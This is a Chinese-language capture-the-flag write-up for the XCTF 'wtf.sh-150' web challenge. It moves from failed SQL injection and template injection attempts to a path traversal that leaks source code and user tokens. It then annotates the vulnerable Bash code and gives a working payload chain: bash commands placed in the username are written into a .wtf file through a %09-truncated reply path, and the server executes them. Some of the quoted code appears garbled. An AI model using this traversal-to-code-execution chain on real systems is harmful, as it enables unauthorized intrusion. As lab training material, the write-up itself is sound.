XCTF-wtf.sh-150

wtf.sh-150

• 题目描述

  没有描述

• 解题过程

  打开之后是个论坛，有注册和登录功能点

  抓包发现，登陆成功后会设置cookie

  <script>document.cookie = 'USERNAME=111; expires=Fri Jun 12 08:38:28 UTC 2020; path=/';</script>
  <script>document.cookie = 'TOKEN=t55Hum7I9JkaDhm/uaRpsSJCtHfa00kduB69G8EiNhpO4o70O4GLGKcMnE6S/CNyHDNINzCAD36/q7lm0jXE2w==; expires=Fri Jun 12 08:38:28 UTC 2020; path=/';</script>
  

  尝试了修改cookie里的user字段，但是有token绑定，会被检测到

  • 登录

    尝试sql注入 x

  • 注册

    登陆后可以看到自己的id，尝试了sql注入， x

    尝试了覆盖注册， x

    尝试了帖子的url里post参数的注入，x

  • 发布帖子/回复

    ssti，x

  • 用dirsearch扫描了一遍，没什么可利用的信息

  没什么思路，去看了大佬的wp，发现是路径穿越

  访问url/post.wtf?post=../，会返回目录下的文件内容，搜索flag，找到关键代码

  $ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"
  $ 	then
  $ 		local username=$(head -n 1 users/${URL_PARAMS['user']});
  $ 		echo "<h3>${username}'s posts:</h3>";
  $ 		echo "<ol>";
  $ 		get_users_posts "${username}" | while read -r post; do
  $ 		post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
  $ 		echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>";
  $ 	done
  $ echo "</ol>"; 
  
  $ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
  $ 	then
  $ 		get_flag1
  $ 	fi
  $ fi
  

  分析这段代码：

  • 从上面一段可以知道存在路径users/，因为这是访问的../路径，那么文件路径为../users/，该路径下存储了用户的帖子
  • 从下面一段可以知道，如果cookie的username字段和登录后的用户名都为admin，那么就会拿到flag

  尝试访问../users 。。。里面全是sqlmap的payload

  找到admin，拿到token

  但登录上在profile里只拿到了一半flag = =

  经过上边的尝试，就只有目录遍历这一个漏洞点，猜测需要继续利用这个漏洞，但是找不到利用方法。。。继续参考

  发现需要在../路径下寻找wtf相关的代码进行审计分析，

  max_page_include_depth=64
  page_include_depth=0
  function include_page {
      # include_page pathname
      local pathname=$1
      local cmd=""
      [[ ${pathname(-4)} = '.wtf' ]];
      local can_execute=$;
      page_include_depth=$(($page_include_depth+1))
      if [[ $page_include_depth -lt $max_page_include_depth ]]
      then
          local line;
          while read -r line; do
              # check if we're in a script line or not ($ at the beginning implies script line)
              # also, our extension needs to be .wtf
              [[ $ = ${line01} && ${can_execute} = 0 ]];
              is_script=$;
              # execute the line.
              if [[ $is_script = 0 ]]
              then
              	# 如果可执行
              	# 添加到cmd中
                  cmd+=$'n'${line#$};
                  # cmd+=('n' + 从文件中读取一行，并删除$)
              else
              	# 如果不可执行
              	# 如果cmd不为空
                  if [[ -n $cmd ]]
                  then
                  	# 执行cmd
                      eval "$cmd" || log "Error during execution of ${cmd}";
                      cmd= ""
                  fi
                  # 打印不可执行的语句
                  echo $line
              fi
          done
          ${pathname}
      else
          echo pMax include depth exceeded!p
      fi
  }
  
  function reply {
      local post_id=$1;
      local username=$2;
      local text=$3;
      local hashed=$(hash_username "${username}");
      curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
      next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
  
      next_file=(posts/${post_id}/${next_reply_id});
      # 这里可以进行文件上传，类似php的00截断，但这里用的是%09
  
      echo "${username}" > "${next_file}";
      echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
      echo "${text}" >> "${next_file}";
      # add post this is in reply to to posts cache
      echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
  }
  

  emmmmm，shell脚本看不太懂，花了点时间去看了下语法，写了一点注释

  通过审计，知道两个可利用的点：

  • 符合.wtf文件中符合$开头的语句会被执行
  • 回复帖子时，可以通过构造post_id创建.wtf文件，并且把username写入其中（这里用username的原因是会作为文件开头，可以把$写到开头）

  构造payload：

  • 1

    username=${find,/,-iname,get_flag2}（username中不能有空格）

    访问/reply.wtf?post=../cmd.wtf%09

    访问/cmd.wtf

    看到命令执行的结果：/usr/bin/get_flag2 RE: asdasd

  • 2

    找到flag2文件后，可以直接利用echo "${username}" > "${next_file}";，把文件直接写到cmd.wtf里

    username=$/usr/bin/get_flag2

    访问/reply.wtf?post=../cmd.wtf%09

    访问/cmd.wtf

    拿到第二个flag

感觉比前面的题难了不少，综合利用到的知识点多了一些，但同时利用多个点进行攻击的方式很好玩！！！

• 参考

  https://www.cnblogs.com/wangtanzhi/p/11214333.html

  https://www.cnblogs.com/Jleixin/p/13054348.html